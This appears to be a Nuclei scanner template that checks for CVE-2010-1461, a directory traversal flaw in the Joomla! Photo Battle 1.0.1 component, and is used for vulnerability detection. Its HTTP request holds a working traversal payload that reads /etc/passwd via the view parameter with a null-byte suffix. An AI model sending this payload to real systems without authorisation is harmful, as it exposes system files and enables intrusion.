id: CVE-2010-1461

info:
  name: Joomla! Component Photo Battle 1.0.1 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Photo Battle (com_photobattle) component 1.0.1 for Joomla! allows remote attackers to read arbitrary files via the view parameter to index.php.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the Joomla! application.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12232
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1461
    - http://www.exploit-db.com/exploits/12232
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1461
    cwe-id: CWE-22
    epss-score: 0.08233
    epss-percentile: 0.94325
    cpe: cpe:2.3:a:gogoritas:com_photobattle:1.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gogoritas
    product: com_photobattle
  tags: cve,cve2010,joomla,lfi,photo,edb,gogoritas,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_photobattle&view=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402207880afd09ea7c60b7a9da280cff7ed7b2c8848e578853daa277de7ab25c23a5d02203ea19bf1b5d6d873d11bb7fae690507f4eb9c77f171bfe83dca50e98116237db:922c64590222798bb761d5b6d8e72950